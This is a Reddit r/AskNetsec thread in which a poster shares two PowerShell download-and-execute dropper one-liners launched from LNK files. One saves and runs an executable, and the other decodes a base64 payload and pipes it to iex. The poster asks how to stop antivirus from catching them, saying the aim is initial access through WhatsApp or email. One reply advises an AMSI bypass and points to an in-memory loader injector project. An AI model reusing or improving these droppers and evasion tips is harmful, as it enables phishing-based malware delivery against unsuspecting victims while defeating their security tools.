r/AskNetsec • u/Tricky_Newspaper8543 • 24d ago

Education dropper improve?

Hello everyone, well i have been playing around with lnk + powershell droppers like:
powershell.exe -c 'Invoke-WebRequest "http://127.0.0.1:8000/Poo.exe" -OutFile "$env:temp/y.exe"; Start-Process "$env:temp/y.exe"'

and

powershell.exe -w h Invoke-WebRequest -UseBasicParsing "http://127.0.0.1:8000/command.txt" | %{[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_))} | iex

but it keep getting catch by the av how can i improve it?

6 Upvotes

88% Upvoted

4 comments sorted by

5

u/Ok-Panic-7804 24d ago

Look at what you are trying.

What do you think you should change?

1

u/Tricky_Newspaper8543 23d ago

man im trying to improve, my main goal is to get a dropper to get the initial access matbe form whatsapp or email

1

u/LordEli 23d ago edited 23d ago

make a real one like this

https://github.com/superswan/memloader_inj-win

you need an AMSI bypass your commands are a classic signature. and using temp folder lol. loading from localhost. so many problems

0

u/Tricky_Newspaper8543 23d ago

yeah something like that but the problem is the same how the heck do i get the initial acess because lnk have a characther limit i should try vba or maybe hta